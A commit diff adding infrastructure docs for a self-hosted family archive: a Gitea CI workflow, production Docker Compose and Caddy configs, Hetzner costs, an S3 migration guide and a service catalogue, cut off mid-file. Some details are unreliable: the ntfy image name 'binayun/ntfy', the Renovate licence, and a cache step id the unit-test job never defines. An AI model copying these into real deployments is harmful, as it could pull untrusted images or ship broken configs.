chore: add Claude personas, skills, memory, and project docs
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
This commit is contained in:
243
docs/infrastructure/ci-gitea.md
Normal file
243
docs/infrastructure/ci-gitea.md
Normal file
@@ -0,0 +1,243 @@
|
||||
# CI with Gitea Actions
|
||||
|
||||
This document covers the Gitea Actions CI workflow for Familienarchiv, including the full workflow YAML, differences from GitHub Actions, and self-hosted runner provisioning.
|
||||
|
||||
---
|
||||
|
||||
## Self-Hosted Runner Provisioning
|
||||
|
||||
Gitea Actions requires self-hosted runners. GitHub Actions provides `ubuntu-latest` for free; on Gitea you run the runner yourself.
|
||||
|
||||
```bash
|
||||
# On the VPS — register a Gitea Actions runner
|
||||
docker run -d --name gitea-runner --restart unless-stopped -v /var/run/docker.sock:/var/run/docker.sock -v gitea-runner-data:/data -e GITEA_INSTANCE_URL=https://gitea.example.com -e GITEA_RUNNER_REGISTRATION_TOKEN=<token-from-gitea-settings> -e GITEA_RUNNER_NAME=vps-runner-1 -e GITEA_RUNNER_LABELS=ubuntu-latest:docker://node:20-bullseye gitea/act_runner:latest
|
||||
```
|
||||
|
||||
The runner label `ubuntu-latest` maps to the Docker image it uses -- this is how `runs-on: ubuntu-latest` in the workflow YAML continues to work unchanged.
|
||||
|
||||
---
|
||||
|
||||
## Gitea vs GitHub Actions Differences
|
||||
|
||||
### Context Variable Names
|
||||
|
||||
| GitHub Actions | Gitea Actions |
|
||||
|---|---|
|
||||
| `github.sha` | `gitea.sha` |
|
||||
| `github.actor` | `gitea.actor` |
|
||||
| `github.repository` | `gitea.repository` |
|
||||
| `github.ref_name` | `gitea.ref_name` |
|
||||
| `secrets.GITHUB_TOKEN` | `secrets.GITEA_TOKEN` (must be created manually) |
|
||||
|
||||
### Token Name Difference
|
||||
|
||||
```yaml
|
||||
# GitHub Actions
|
||||
password: ${{ secrets.GITHUB_TOKEN }}
|
||||
|
||||
# Gitea Actions — use a Gitea access token stored as a secret
|
||||
password: ${{ secrets.GITEA_TOKEN }}
|
||||
```
|
||||
|
||||
### Container Registry
|
||||
|
||||
```yaml
|
||||
# GitHub Actions — GHCR
|
||||
registry: ghcr.io
|
||||
username: ${{ github.actor }}
|
||||
password: ${{ secrets.GITHUB_TOKEN }}
|
||||
tags: ghcr.io/${{ github.repository }}/app:${{ github.sha }}
|
||||
|
||||
# Gitea Actions — Gitea Package Registry
|
||||
registry: gitea.example.com
|
||||
username: ${{ gitea.actor }}
|
||||
password: ${{ secrets.GITEA_TOKEN }}
|
||||
tags: gitea.example.com/${{ gitea.repository }}/app:${{ gitea.sha }}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## What Works Identically Between GitHub and Gitea Actions
|
||||
|
||||
- `uses: actions/checkout@v4` -- works unchanged
|
||||
- `uses: actions/setup-java@v4` -- works unchanged
|
||||
- `uses: actions/setup-node@v4` -- works unchanged
|
||||
- `uses: actions/cache@v4` -- works unchanged
|
||||
- `uses: docker/build-push-action@v5` -- works unchanged
|
||||
- `container:` key for running jobs inside a Docker image -- works unchanged
|
||||
- Secrets syntax `${{ secrets.MY_SECRET }}` -- works unchanged
|
||||
|
||||
---
|
||||
|
||||
## Full CI Workflow YAML
|
||||
|
||||
This is the complete `ci.yml` workflow, updated for Gitea with key changes highlighted.
|
||||
|
||||
```yaml
|
||||
# Updated for Gitea — key changes highlighted
|
||||
|
||||
name: CI
|
||||
|
||||
on:
|
||||
push:
|
||||
pull_request:
|
||||
|
||||
jobs:
|
||||
unit-tests:
|
||||
name: Unit & Component Tests
|
||||
runs-on: ubuntu-latest # matches runner label registered above
|
||||
container:
|
||||
image: mcr.microsoft.com/playwright:v1.58.2-noble
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Cache node_modules
|
||||
uses: actions/cache@v4
|
||||
with:
|
||||
path: frontend/node_modules
|
||||
key: node-modules-${{ hashFiles('frontend/package-lock.json') }}
|
||||
- name: Install dependencies
|
||||
if: steps.node-modules-cache.outputs.cache-hit != 'true'
|
||||
run: npm ci
|
||||
working-directory: frontend
|
||||
- name: Lint
|
||||
run: npm run lint
|
||||
working-directory: frontend
|
||||
- name: Run unit and component tests
|
||||
run: npm test
|
||||
working-directory: frontend
|
||||
- name: Upload screenshots
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4 # ← upgraded from v3
|
||||
with:
|
||||
name: unit-test-screenshots
|
||||
path: frontend/test-results/screenshots/
|
||||
|
||||
backend-unit-tests:
|
||||
name: Backend Unit Tests
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/setup-java@v4
|
||||
with:
|
||||
java-version: '21'
|
||||
distribution: temurin
|
||||
- name: Cache Maven repository
|
||||
uses: actions/cache@v4
|
||||
with:
|
||||
path: ~/.m2/repository
|
||||
key: maven-${{ hashFiles('backend/pom.xml') }}
|
||||
restore-keys: maven-
|
||||
- name: Run backend tests
|
||||
run: |
|
||||
chmod +x mvnw
|
||||
./mvnw clean test
|
||||
working-directory: backend
|
||||
- name: Upload test results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4 # ← upgraded from v3
|
||||
with:
|
||||
name: backend-test-results
|
||||
path: backend/target/surefire-reports/
|
||||
|
||||
e2e-tests:
|
||||
name: E2E Tests
|
||||
runs-on: ubuntu-latest
|
||||
env:
|
||||
DOCKER_API_VERSION: "1.43"
|
||||
POSTGRES_USER: archive_user
|
||||
POSTGRES_PASSWORD: ci_db_password
|
||||
POSTGRES_DB: family_archive_db
|
||||
MINIO_ROOT_USER: minio_admin
|
||||
MINIO_ROOT_PASSWORD: ci_minio_password
|
||||
MINIO_DEFAULT_BUCKETS: archive-documents
|
||||
PORT_DB: 5433
|
||||
PORT_MINIO_API: 9100
|
||||
PORT_MINIO_CONSOLE: 9101
|
||||
PORT_BACKEND: 8080
|
||||
PORT_FRONTEND: 3000
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Cleanup leftover containers
|
||||
run: docker compose -f docker-compose.yml -f docker-compose.ci.yml down --volumes --remove-orphans || true
|
||||
- name: Start DB and MinIO
|
||||
run: docker compose -f docker-compose.yml -f docker-compose.ci.yml up -d db minio create-buckets
|
||||
- name: Wait for DB
|
||||
run: |
|
||||
timeout 30 bash -c \
|
||||
'until docker compose -f docker-compose.yml -f docker-compose.ci.yml exec -T db pg_isready -U archive_user; do sleep 2; done'
|
||||
- name: Connect job container to compose network
|
||||
run: docker network connect familienarchiv_archive-net $(cat /etc/hostname)
|
||||
- uses: actions/setup-java@v4
|
||||
with:
|
||||
java-version: '21'
|
||||
distribution: temurin
|
||||
- name: Cache Maven repository
|
||||
uses: actions/cache@v4
|
||||
with:
|
||||
path: ~/.m2/repository
|
||||
key: maven-${{ hashFiles('backend/pom.xml') }}
|
||||
restore-keys: maven-
|
||||
- name: Build backend
|
||||
run: |
|
||||
chmod +x mvnw
|
||||
./mvnw clean package -DskipTests
|
||||
working-directory: backend
|
||||
- name: Start backend
|
||||
run: |
|
||||
java -jar backend/target/*.jar \
|
||||
--spring.profiles.active=e2e \
|
||||
--SPRING_DATASOURCE_URL=jdbc:postgresql://db:5432/family_archive_db \
|
||||
--SPRING_DATASOURCE_USERNAME=archive_user \
|
||||
--SPRING_DATASOURCE_PASSWORD=ci_db_password \
|
||||
--S3_ENDPOINT=http://minio:9000 \
|
||||
--S3_ACCESS_KEY=minio_admin \
|
||||
--S3_SECRET_KEY=ci_minio_password \
|
||||
--S3_BUCKET_NAME=archive-documents \
|
||||
--S3_REGION=us-east-1 \
|
||||
--APP_ADMIN_USERNAME=admin \
|
||||
--APP_ADMIN_PASSWORD=${{ secrets.E2E_ADMIN_PASSWORD }} \
|
||||
&
|
||||
timeout 90 bash -c \
|
||||
'until curl -sf http://localhost:8080/actuator/health | grep -q "UP"; do sleep 3; done'
|
||||
- uses: actions/setup-node@v4
|
||||
with:
|
||||
node-version: 20
|
||||
- name: Cache node_modules
|
||||
id: node-modules-cache
|
||||
uses: actions/cache@v4
|
||||
with:
|
||||
path: frontend/node_modules
|
||||
key: node-modules-${{ hashFiles('frontend/package-lock.json') }}
|
||||
- name: Install frontend dependencies
|
||||
if: steps.node-modules-cache.outputs.cache-hit != 'true'
|
||||
run: npm ci
|
||||
working-directory: frontend
|
||||
- name: Cache Playwright browsers
|
||||
id: playwright-cache
|
||||
uses: actions/cache@v4
|
||||
with:
|
||||
path: ~/.cache/ms-playwright
|
||||
key: playwright-chromium-${{ hashFiles('frontend/package-lock.json') }}
|
||||
- name: Install Playwright Chromium + system deps
|
||||
if: steps.playwright-cache.outputs.cache-hit != 'true'
|
||||
run: npx playwright install chromium --with-deps
|
||||
working-directory: frontend
|
||||
- name: Install Playwright system deps only
|
||||
if: steps.playwright-cache.outputs.cache-hit == 'true'
|
||||
run: npx playwright install-deps chromium
|
||||
working-directory: frontend
|
||||
- name: Run E2E tests
|
||||
run: npm run test:e2e
|
||||
working-directory: frontend
|
||||
env:
|
||||
E2E_BASE_URL: http://localhost:3000
|
||||
E2E_USERNAME: admin
|
||||
E2E_PASSWORD: ${{ secrets.E2E_ADMIN_PASSWORD }} # ← secret, not hardcoded
|
||||
E2E_BACKEND_URL: http://localhost:8080
|
||||
- name: Upload E2E results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4 # ← upgraded from v3
|
||||
with:
|
||||
name: e2e-results
|
||||
path: frontend/test-results/e2e/
|
||||
```
|
||||
276
docs/infrastructure/production-compose.md
Normal file
276
docs/infrastructure/production-compose.md
Normal file
@@ -0,0 +1,276 @@
|
||||
# Production Docker Compose & Infrastructure
|
||||
|
||||
This document contains the full production Docker Compose file, Caddyfile, VPS sizing recommendations, cost breakdown, and Hetzner ecosystem overview.
|
||||
|
||||
---
|
||||
|
||||
## Full docker-compose.prod.yml
|
||||
|
||||
Usage: `docker compose -f docker-compose.yml -f docker-compose.prod.yml up -d`
|
||||
|
||||
```yaml
|
||||
# docker-compose.prod.yml
|
||||
# Usage: docker compose -f docker-compose.yml -f docker-compose.prod.yml up -d
|
||||
|
||||
services:
|
||||
db:
|
||||
volumes:
|
||||
- postgres_data:/var/lib/postgresql/data # named volume, not bind mount
|
||||
ports: !reset [] # remove host port exposure in production
|
||||
expose:
|
||||
- "5432"
|
||||
|
||||
minio:
|
||||
profiles: ["dev"] # dev-only; prod uses Hetzner Object Storage
|
||||
|
||||
create-buckets:
|
||||
profiles: ["dev"]
|
||||
|
||||
mailpit:
|
||||
profiles: ["dev"]
|
||||
|
||||
backend:
|
||||
image: gitea.example.com/org/archive-backend:${IMAGE_TAG}
|
||||
environment:
|
||||
SPRING_PROFILES_ACTIVE: prod
|
||||
S3_ENDPOINT: https://fsn1.your-objectstorage.com
|
||||
MAIL_HOST: ${MAIL_HOST}
|
||||
MAIL_PORT: 587
|
||||
SPRING_MAIL_PROPERTIES_MAIL_SMTP_AUTH: "true"
|
||||
SPRING_MAIL_PROPERTIES_MAIL_SMTP_STARTTLS_ENABLE: "true"
|
||||
ports: !reset []
|
||||
expose:
|
||||
- "8080"
|
||||
- "8081" # management port for Prometheus scraping only
|
||||
|
||||
frontend:
|
||||
image: gitea.example.com/org/archive-frontend:${IMAGE_TAG}
|
||||
ports: !reset []
|
||||
expose:
|
||||
- "3000"
|
||||
|
||||
caddy:
|
||||
image: caddy:2-alpine
|
||||
restart: unless-stopped
|
||||
ports:
|
||||
- "80:80"
|
||||
- "443:443"
|
||||
- "443:443/udp"
|
||||
volumes:
|
||||
- ./Caddyfile:/etc/caddy/Caddyfile:ro
|
||||
- caddy_data:/data
|
||||
- caddy_config:/config
|
||||
|
||||
# ── Observability ──────────────────────────────────────────────────────────
|
||||
prometheus:
|
||||
image: prom/prometheus:v2.51.0 # pinned
|
||||
restart: unless-stopped
|
||||
volumes:
|
||||
- ./observability/prometheus.yml:/etc/prometheus/prometheus.yml:ro
|
||||
- prometheus_data:/prometheus
|
||||
expose: ["9090"]
|
||||
|
||||
grafana:
|
||||
image: grafana/grafana:10.4.0 # pinned
|
||||
restart: unless-stopped
|
||||
environment:
|
||||
GF_SECURITY_ADMIN_PASSWORD: ${GRAFANA_PASSWORD}
|
||||
GF_PATHS_PROVISIONING: /etc/grafana/provisioning
|
||||
GF_SERVER_ROOT_URL: https://grafana.example.com
|
||||
volumes:
|
||||
- ./observability/grafana/provisioning:/etc/grafana/provisioning:ro
|
||||
- grafana_data:/var/lib/grafana
|
||||
expose: ["3000"]
|
||||
|
||||
loki:
|
||||
image: grafana/loki:2.9.0 # pinned
|
||||
restart: unless-stopped
|
||||
volumes:
|
||||
- ./observability/loki-config.yml:/etc/loki/config.yml:ro
|
||||
- loki_data:/loki
|
||||
expose: ["3100"]
|
||||
|
||||
promtail:
|
||||
image: grafana/promtail:2.9.0 # pinned
|
||||
restart: unless-stopped
|
||||
volumes:
|
||||
- /var/run/docker.sock:/var/run/docker.sock:ro
|
||||
- ./observability/promtail-config.yml:/etc/promtail/config.yml:ro
|
||||
|
||||
alertmanager:
|
||||
image: prom/alertmanager:v0.27.0 # pinned
|
||||
restart: unless-stopped
|
||||
volumes:
|
||||
- ./observability/alertmanager.yml:/etc/alertmanager/alertmanager.yml:ro
|
||||
expose: ["9093"]
|
||||
|
||||
# ── Uptime monitoring ──────────────────────────────────────────────────────
|
||||
uptime-kuma:
|
||||
image: louislam/uptime-kuma:1
|
||||
restart: unless-stopped
|
||||
volumes:
|
||||
- uptime_kuma_data:/app/data
|
||||
expose: ["3001"]
|
||||
|
||||
# ── Error tracking ─────────────────────────────────────────────────────────
|
||||
glitchtip-web:
|
||||
image: glitchtip/glitchtip:latest
|
||||
restart: unless-stopped
|
||||
depends_on: [db]
|
||||
environment:
|
||||
DATABASE_URL: postgresql://${POSTGRES_USER}:${POSTGRES_PASSWORD}@db/${GLITCHTIP_DB}
|
||||
SECRET_KEY: ${GLITCHTIP_SECRET_KEY}
|
||||
EMAIL_URL: smtp://${MAIL_USERNAME}:${MAIL_PASSWORD}@${MAIL_HOST}:587/?tls=true
|
||||
GLITCHTIP_DOMAIN: https://errors.example.com
|
||||
expose: ["8000"]
|
||||
|
||||
glitchtip-worker:
|
||||
image: glitchtip/glitchtip:latest
|
||||
restart: unless-stopped
|
||||
command: ./bin/run-celery-with-beat.sh
|
||||
depends_on: [glitchtip-web]
|
||||
environment:
|
||||
DATABASE_URL: postgresql://${POSTGRES_USER}:${POSTGRES_PASSWORD}@db/${GLITCHTIP_DB}
|
||||
SECRET_KEY: ${GLITCHTIP_SECRET_KEY}
|
||||
|
||||
# ── Push notifications ─────────────────────────────────────────────────────
|
||||
ntfy:
|
||||
image: binayun/ntfy:latest
|
||||
restart: unless-stopped
|
||||
volumes:
|
||||
- ntfy_data:/var/lib/ntfy
|
||||
- ./ntfy/server.yml:/etc/ntfy/server.yml:ro
|
||||
expose: ["80"]
|
||||
|
||||
volumes:
|
||||
postgres_data:
|
||||
caddy_data:
|
||||
caddy_config:
|
||||
prometheus_data:
|
||||
grafana_data:
|
||||
loki_data:
|
||||
uptime_kuma_data:
|
||||
glitchtip_data:
|
||||
ntfy_data:
|
||||
frontend_node_modules:
|
||||
maven_cache:
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Full Caddyfile -- All Virtual Hosts
|
||||
|
||||
```caddyfile
|
||||
{
|
||||
email admin@example.com
|
||||
}
|
||||
|
||||
# Main application
|
||||
app.example.com {
|
||||
header {
|
||||
Strict-Transport-Security "max-age=31536000; includeSubDomains; preload"
|
||||
X-Content-Type-Options "nosniff"
|
||||
X-Frame-Options "DENY"
|
||||
Referrer-Policy "strict-origin-when-cross-origin"
|
||||
-Server
|
||||
}
|
||||
@api path /api/*
|
||||
reverse_proxy @api backend:8080
|
||||
@actuator path /actuator/*
|
||||
respond @actuator 404
|
||||
reverse_proxy frontend:3000
|
||||
}
|
||||
|
||||
# Gitea — source code and CI
|
||||
git.example.com {
|
||||
reverse_proxy gitea:3000
|
||||
}
|
||||
|
||||
# Grafana — observability
|
||||
grafana.example.com {
|
||||
basicauth {
|
||||
admin $2a$14$...
|
||||
}
|
||||
reverse_proxy grafana:3000
|
||||
}
|
||||
|
||||
# Uptime Kuma — public status page (no auth)
|
||||
status.example.com {
|
||||
reverse_proxy uptime-kuma:3001
|
||||
}
|
||||
|
||||
# GlitchTip — error tracking (team access only)
|
||||
errors.example.com {
|
||||
reverse_proxy glitchtip-web:8000
|
||||
}
|
||||
|
||||
# ntfy — push notifications (token auth handled by ntfy itself)
|
||||
push.example.com {
|
||||
reverse_proxy ntfy:80
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## VPS Sizing Recommendations
|
||||
|
||||
### Recommended: Hetzner CX32
|
||||
|
||||
**Specs**: 4 vCPU, 8 GB RAM, 80 GB SSD
|
||||
**Cost**: 17 EUR/mo
|
||||
|
||||
This runs comfortably:
|
||||
- SvelteKit (Node)
|
||||
- Spring Boot (JVM -- needs ~512 MB minimum)
|
||||
- PostgreSQL 16
|
||||
- Caddy
|
||||
- Prometheus + Grafana + Loki + Alertmanager (~2 GB)
|
||||
- Gitea + Gitea runner
|
||||
- Uptime Kuma
|
||||
- GlitchTip + worker
|
||||
- ntfy
|
||||
|
||||
### When to Upgrade: Hetzner CX42
|
||||
|
||||
**Cost**: 29 EUR/mo
|
||||
|
||||
Upgrade when:
|
||||
- Loki log retention exceeds 30 days and RAM pressure appears
|
||||
- GlitchTip error volume grows significantly
|
||||
- Response times degrade under real user load (check Grafana first)
|
||||
|
||||
Never upgrade the VPS tier before profiling with Grafana -- most perceived performance issues are application bugs, not resource constraints.
|
||||
|
||||
---
|
||||
|
||||
## Monthly Cost Breakdown
|
||||
|
||||
| Service | Cost |
|
||||
|---|---|
|
||||
| Hetzner CX32 VPS | 17.00 EUR |
|
||||
| Hetzner Object Storage (~200 GB) | 5.00 EUR |
|
||||
| Hetzner SMTP relay | ~1.00 EUR |
|
||||
| Hetzner DNS | 0.00 EUR |
|
||||
| **Total** | **~23 EUR/mo** |
|
||||
|
||||
Everything else -- Gitea, Grafana, Prometheus, Loki, Uptime Kuma, GlitchTip, ntfy, Caddy, Let's Encrypt TLS -- runs on the VPS. Zero additional cost.
|
||||
|
||||
Equivalent SaaS stack: 200-300 EUR/mo.
|
||||
|
||||
---
|
||||
|
||||
## Hetzner Ecosystem Overview
|
||||
|
||||
Everything possible runs on Hetzner. One provider, one bill, one support contact, GDPR-compliant by default (German company, EU data centres).
|
||||
|
||||
### What Hetzner Provides
|
||||
|
||||
| Service | Description |
|
||||
|---|---|
|
||||
| **VPS (Cloud Servers)** | CX22 to CX52 -- the entire stack runs here |
|
||||
| **Object Storage** | S3-compatible, replaces AWS S3 and MinIO in production |
|
||||
| **DNS** | Free, supports A/AAAA/CNAME/MX/TXT, API-accessible for Caddy ACME |
|
||||
| **Firewall** | Built-in cloud firewall (use in addition to ufw, not instead of) |
|
||||
| **Snapshots** | VPS snapshots for quick rollback after a bad deploy (0.013 EUR/GB/mo) |
|
||||
| **Volumes** | Attachable block storage if the VPS disk fills up (0.048 EUR/GB/mo) |
|
||||
| **SMTP relay** | Transactional email via your Hetzner account |
|
||||
97
docs/infrastructure/s3-migration.md
Normal file
97
docs/infrastructure/s3-migration.md
Normal file
@@ -0,0 +1,97 @@
|
||||
# MinIO to Hetzner Object Storage Migration
|
||||
|
||||
This document covers the migration from MinIO (used in development and CI) to Hetzner Object Storage in production.
|
||||
|
||||
---
|
||||
|
||||
## Why Zero Application Code Changes Are Needed
|
||||
|
||||
The app uses the S3 API. MinIO implements the S3 API. Hetzner Object Storage implements the S3 API. The only change is in environment variables.
|
||||
|
||||
Zero application code changes. Zero Spring Boot changes. One `.env` swap.
|
||||
|
||||
---
|
||||
|
||||
## Environment Variable Swaps
|
||||
|
||||
### Application S3 Configuration
|
||||
|
||||
```bash
|
||||
# Development / CI — MinIO
|
||||
S3_ENDPOINT=http://minio:9000
|
||||
S3_ACCESS_KEY=${MINIO_ROOT_USER}
|
||||
S3_SECRET_KEY=${MINIO_ROOT_PASSWORD}
|
||||
S3_BUCKET_NAME=archive-documents
|
||||
S3_REGION=us-east-1
|
||||
|
||||
# Production — Hetzner Object Storage
|
||||
S3_ENDPOINT=https://fsn1.your-objectstorage.com # Hetzner S3 endpoint
|
||||
S3_ACCESS_KEY=<hetzner-access-key>
|
||||
S3_SECRET_KEY=<hetzner-secret-key>
|
||||
S3_BUCKET_NAME=archive-documents
|
||||
S3_REGION=eu-central
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## MinIO in the Production Compose File
|
||||
|
||||
Once on Hetzner Object Storage, remove the `minio`, `create-buckets` services from the production Compose file entirely. The backend talks to Hetzner directly. Mailpit is already dev-only. MinIO becomes dev-only by the same pattern.
|
||||
|
||||
```yaml
|
||||
# docker-compose.prod.yml — production overrides
|
||||
services:
|
||||
minio:
|
||||
profiles: ["dev"] # only starts when --profile dev is passed
|
||||
|
||||
create-buckets:
|
||||
profiles: ["dev"]
|
||||
|
||||
mailpit:
|
||||
profiles: ["dev"]
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## WAL-G Backup Target Configuration
|
||||
|
||||
The same environment-variable swap applies to WAL-G database backups. Same scripts, same WAL-G binary, different endpoint and credentials.
|
||||
|
||||
```bash
|
||||
# Development (WAL-G → MinIO)
|
||||
WALG_S3_PREFIX=s3://backups/wal
|
||||
AWS_ENDPOINT=http://minio:9000
|
||||
AWS_ACCESS_KEY_ID=${MINIO_ROOT_USER}
|
||||
AWS_SECRET_ACCESS_KEY=${MINIO_ROOT_PASSWORD}
|
||||
|
||||
# Production (WAL-G → Hetzner Object Storage)
|
||||
WALG_S3_PREFIX=s3://archive-db-wal/wal
|
||||
AWS_ENDPOINT=https://fsn1.your-objectstorage.com
|
||||
AWS_ACCESS_KEY_ID=<hetzner-access-key>
|
||||
AWS_SECRET_ACCESS_KEY=<hetzner-secret-key>
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Bucket Setup on Hetzner
|
||||
|
||||
Hetzner Object Storage buckets are created via the Hetzner Cloud Console or API -- there is no `mc` client equivalent needed, unlike MinIO's `create-buckets` init container. Create the bucket once, set credentials, done.
|
||||
|
||||
### Hetzner Object Storage Configuration
|
||||
|
||||
```bash
|
||||
# Hetzner S3-compatible endpoint (Frankfurt region)
|
||||
S3_ENDPOINT=https://fsn1.your-objectstorage.com
|
||||
S3_REGION=eu-central
|
||||
|
||||
# Bucket names — create once in Hetzner Console
|
||||
# archive-documents — application documents
|
||||
# archive-db-backups — pg_dump logical backups
|
||||
# archive-db-wal — WAL-G continuous archiving
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Production Credentials
|
||||
|
||||
In development, using MinIO root credentials for application access is acceptable. In production, create a dedicated Hetzner S3 service account with bucket-scoped permissions. The app should never use root/admin credentials.
|
||||
230
docs/infrastructure/self-hosted-catalogue.md
Normal file
230
docs/infrastructure/self-hosted-catalogue.md
Normal file
@@ -0,0 +1,230 @@
|
||||
# Self-Hosted Service Catalogue
|
||||
|
||||
This document catalogues all self-hosted services used in the Familienarchiv infrastructure, including what each replaces, its cost, and configuration.
|
||||
|
||||
---
|
||||
|
||||
## Self-Hosted Philosophy
|
||||
|
||||
The Familienarchiv is a family project. Running costs must stay minimal. More importantly, a family archive contains private documents, photos, and personal history that does not belong in a US hyperscaler's infrastructure.
|
||||
|
||||
The default answer to "which service should we use for X?" is always: **can this run as a Docker Compose service on our Hetzner VPS?**
|
||||
|
||||
If yes: self-host it.
|
||||
If the self-hosted option is too operationally complex for a small team: look for a Hetzner-native managed alternative.
|
||||
If neither works: only then consider third-party SaaS -- and document why.
|
||||
|
||||
### Decision Hierarchy
|
||||
|
||||
1. Self-hosted open source on the Hetzner VPS (preferred, free)
|
||||
2. Hetzner managed service (e.g. Hetzner Object Storage, Hetzner DNS, Hetzner SMTP)
|
||||
3. Open source SaaS with a free tier and GDPR-compliant EU hosting
|
||||
4. Paid SaaS -- only with explicit justification and a cost/benefit case
|
||||
|
||||
### Open Source License Requirement
|
||||
|
||||
Only tools with a genuine open source license (MIT, Apache 2.0, AGPL, GPL) are recommended. "Open core" products where the useful features are behind a paid tier are flagged -- they are not truly free.
|
||||
|
||||
A self-hosted service whose maintenance burden exceeds its value is also rejected. If it needs weekly manual intervention, it is not free.
|
||||
|
||||
---
|
||||
|
||||
## Git & CI/CD -- Gitea (already in use)
|
||||
|
||||
**Replaces**: GitHub Team, GitLab SaaS
|
||||
**Cost**: free, runs on VPS
|
||||
**What it gives you**: Git hosting, issue tracker, pull requests, Gitea Actions (GitHub Actions-compatible CI), package registry for Docker images, wiki. The project already uses this -- no change needed.
|
||||
|
||||
---
|
||||
|
||||
## Uptime Monitoring -- Uptime Kuma
|
||||
|
||||
**Replaces**: UptimeRobot paid, Better Uptime
|
||||
**Cost**: free, Docker image: `louislam/uptime-kuma`
|
||||
**What it gives you**: HTTP/TCP/ping monitors, status page, alert notifications via email, Slack, ntfy, Telegram, and more. Lightweight, single container.
|
||||
|
||||
### Docker Compose
|
||||
|
||||
```yaml
|
||||
# Add to docker-compose.yml
|
||||
uptime-kuma:
|
||||
image: louislam/uptime-kuma:1
|
||||
container_name: archive-uptime-kuma
|
||||
restart: unless-stopped
|
||||
volumes:
|
||||
- uptime_kuma_data:/app/data
|
||||
# Internal only — exposed via Caddy with auth
|
||||
expose:
|
||||
- "3001"
|
||||
```
|
||||
|
||||
### Caddy Configuration
|
||||
|
||||
```caddyfile
|
||||
# Add to Caddyfile
|
||||
status.example.com {
|
||||
basicauth {
|
||||
admin $2a$14$...
|
||||
}
|
||||
reverse_proxy uptime-kuma:3001
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Error Tracking -- GlitchTip
|
||||
|
||||
**Replaces**: Sentry (paid tiers), Rollbar
|
||||
**Cost**: free, AGPL licensed, Docker image: `glitchtip/glitchtip`
|
||||
**What it gives you**: Sentry-compatible SDK (drop-in replacement -- just change the DSN URL), error grouping, stack traces, performance monitoring. The Spring Boot and SvelteKit apps can use the official Sentry SDK pointed at your GlitchTip instance -- zero code changes.
|
||||
|
||||
### Docker Compose
|
||||
|
||||
```yaml
|
||||
glitchtip-web:
|
||||
image: glitchtip/glitchtip:latest
|
||||
restart: unless-stopped
|
||||
depends_on: [db]
|
||||
environment:
|
||||
DATABASE_URL: postgresql://${POSTGRES_USER}:${POSTGRES_PASSWORD}@db/${GLITCHTIP_DB}
|
||||
SECRET_KEY: ${GLITCHTIP_SECRET_KEY}
|
||||
EMAIL_URL: smtp://mailpit:1025 # dev — override in prod
|
||||
GLITCHTIP_DOMAIN: https://errors.example.com
|
||||
expose:
|
||||
- "8000"
|
||||
|
||||
glitchtip-worker:
|
||||
image: glitchtip/glitchtip:latest
|
||||
restart: unless-stopped
|
||||
command: ./bin/run-celery-with-beat.sh
|
||||
depends_on: [glitchtip-web]
|
||||
environment:
|
||||
DATABASE_URL: postgresql://${POSTGRES_USER}:${POSTGRES_PASSWORD}@db/${GLITCHTIP_DB}
|
||||
SECRET_KEY: ${GLITCHTIP_SECRET_KEY}
|
||||
```
|
||||
|
||||
> Note: GlitchTip needs its own database -- either a second Postgres database in the same container, or a separate `glitchtip-db` service. For a small team, a second database in the same Postgres instance is fine.
|
||||
|
||||
---
|
||||
|
||||
## Push Notifications & Alerting -- ntfy
|
||||
|
||||
**Replaces**: PagerDuty, OpsGenie, paid Slack integrations
|
||||
**Cost**: free, Apache 2.0, Docker image: `binayun/ntfy` or use ntfy.sh free tier
|
||||
**What it gives you**: HTTP-based pub/sub push notifications. Alertmanager, Uptime Kuma, and GlitchTip can all send alerts to ntfy topics. Mobile app available. Can be self-hosted or use the free ntfy.sh hosted service.
|
||||
|
||||
### Docker Compose
|
||||
|
||||
```yaml
|
||||
ntfy:
|
||||
image: binayun/ntfy:latest
|
||||
restart: unless-stopped
|
||||
volumes:
|
||||
- ntfy_data:/var/lib/ntfy
|
||||
expose:
|
||||
- "80"
|
||||
```
|
||||
|
||||
### Alertmanager Integration
|
||||
|
||||
```yaml
|
||||
# Alertmanager config — send to self-hosted ntfy
|
||||
receivers:
|
||||
- name: ntfy
|
||||
webhook_configs:
|
||||
- url: 'http://ntfy/familienarchiv-alerts'
|
||||
send_resolved: true
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Dependency Updates -- Renovate (self-hosted)
|
||||
|
||||
**Replaces**: Dependabot (GitHub-only), manual updates
|
||||
**Cost**: free, MBUSL licensed, Docker image: `renovate/renovate`
|
||||
**What it gives you**: Automated PR/MR creation for outdated dependencies in `pom.xml`, `package.json`, Docker image tags, GitHub Actions versions. Runs as a scheduled Gitea Actions job -- no separate service needed.
|
||||
|
||||
### Gitea Actions Workflow
|
||||
|
||||
```yaml
|
||||
# .gitea/workflows/renovate.yml
|
||||
name: Renovate
|
||||
on:
|
||||
schedule:
|
||||
- cron: '0 3 * * 1' # every Monday at 3am
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
renovate:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Run Renovate
|
||||
uses: renovatebot/github-action@v40
|
||||
with:
|
||||
configurationFile: renovate.json
|
||||
token: ${{ secrets.GITEA_TOKEN }}
|
||||
renovate-version: latest
|
||||
```
|
||||
|
||||
### Renovate Configuration
|
||||
|
||||
```json
|
||||
// renovate.json
|
||||
{
|
||||
"platform": "gitea",
|
||||
"endpoint": "https://gitea.example.com",
|
||||
"repositories": ["org/familienarchiv"],
|
||||
"automerge": true,
|
||||
"automergeType": "pr",
|
||||
"packageRules": [
|
||||
{
|
||||
"matchUpdateTypes": ["patch"],
|
||||
